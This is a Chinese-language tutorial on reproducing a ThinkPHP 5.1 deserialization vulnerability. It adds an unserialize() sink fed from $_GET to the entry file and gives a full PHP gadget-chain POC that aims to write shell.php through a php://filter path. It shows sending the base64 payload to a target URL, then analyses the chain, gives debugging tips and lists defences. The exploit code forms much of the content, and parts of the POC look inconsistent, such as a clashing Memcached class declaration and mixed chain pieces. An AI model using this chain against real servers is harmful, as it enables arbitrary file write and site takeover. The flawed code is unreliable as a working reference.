Thinkphp5.1反序列化漏洞复现加代码调式
字数 1208 2025-08-11 01:06:30
ThinkPHP5.1反序列化漏洞分析与复现指南
漏洞概述
ThinkPHP5.1框架中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据触发框架中的魔术方法,最终可能导致任意代码执行或敏感信息泄露。
环境搭建
-
安装Composer:
- 确保系统已安装Composer(安装指南)
- 注意PHP版本兼容性问题
-
获取ThinkPHP5.1源码:
composer create-project topthink/think=5.1.* tp5.1- 如果下载的是最新版本,需要手动修改
composer.json指定5.1.x版本
- 如果下载的是最新版本,需要手动修改
-
配置环境:
- 使用PHPStudy或其他环境搭建工具
- 确保PHP版本与ThinkPHP5.1兼容(通常PHP5.6-7.2)
漏洞复现步骤
-
创建反序列化接收点:
在应用入口文件(通常是public/index.php)中添加反序列化接收代码:$data = $_GET['data']; unserialize(base64_decode($data)); -
构造POC:
<?php namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files = [new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { protected $append = []; protected $error; public $parent; public function __construct() { $this->append = ['xxx' => 'yyy']; $this->error = new \think\console\Output(); $this->parent = new \think\model\relation\HasOne(); } } namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = []; private $handle; public function __construct() { $this->styles = ['getAttr']; $this->handle = new Memcached(); } } namespace think\model\relation; use think\db\Query; class HasOne { protected $selfRelation; protected $query; protected $bindAttr = []; public function __construct() { $this->selfRelation = false; $this->query = new Query(); $this->bindAttr = ['xxx' => 'yyy']; } } namespace think\db; use think\cache\driver\File; class Query { protected $model; public function __construct() { $this->model = new File(); } } namespace think\cache\driver; class File { protected $options = []; protected $tag; public function __construct() { $this->options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.base64-decode/resource=./shell.php', 'data_compress' => false, ]; $this->tag = true; } } namespace think\session\driver; use think\cache\driver\Memcached; class Memcached { protected $handler; public function __construct() { $this->handler = new Memcached(); } } $payload = new \think\process\pipes\Windows(); echo base64_encode(serialize($payload)); ?> -
发送Payload:
- 使用Hackbar或其他工具发送GET请求
- 示例URL:
http://target.com/index.php?data=[base64编码的payload]
漏洞分析
触发流程
- 反序列化Windows对象
- 触发
__destruct()方法 - 调用
removeFiles()方法 - 遍历
$this->files数组 - 对数组中的Pivot对象调用
file_exists() - PHP尝试将对象转为字符串,触发
__toString()方法 - 调用
toJson()方法 - 调用
toArray()方法 - 触发一系列属性访问和方法调用链
关键点分析
-
魔术方法调用链:
__destruct()→removeFiles()→file_exists()→__toString()
-
属性控制:
- 通过精心构造的类属性控制程序执行流程
$append、$error、$parent等属性被用来引导执行路径
-
最终利用:
- 通过
think\cache\driver\File类的path参数实现任意文件写入 - 利用
php://filter伪协议进行base64解码写入
- 通过
调试技巧
-
断点设置:
- 在
__destruct()方法处设置断点 - 跟踪
removeFiles()方法执行
- 在
-
变量监控:
- 监控
$this->files数组内容 - 跟踪
toArray()方法中的属性处理
- 监控
-
调用栈分析:
- 观察从反序列化到最终触发的完整调用链
- 特别注意魔术方法的调用顺序
防御措施
-
官方修复:
- 升级到ThinkPHP最新安全版本
-
临时缓解:
- 禁止用户输入直接反序列化
- 使用白名单机制限制可反序列化的类
-
代码审计:
- 检查所有反序列化操作点
- 确保没有用户可控的反序列化入口
总结
ThinkPHP5.1反序列化漏洞通过精心构造的对象属性链触发了一系列魔术方法,最终可能导致任意文件写入等严重后果。理解该漏洞的触发原理和利用链对于防御类似漏洞具有重要意义。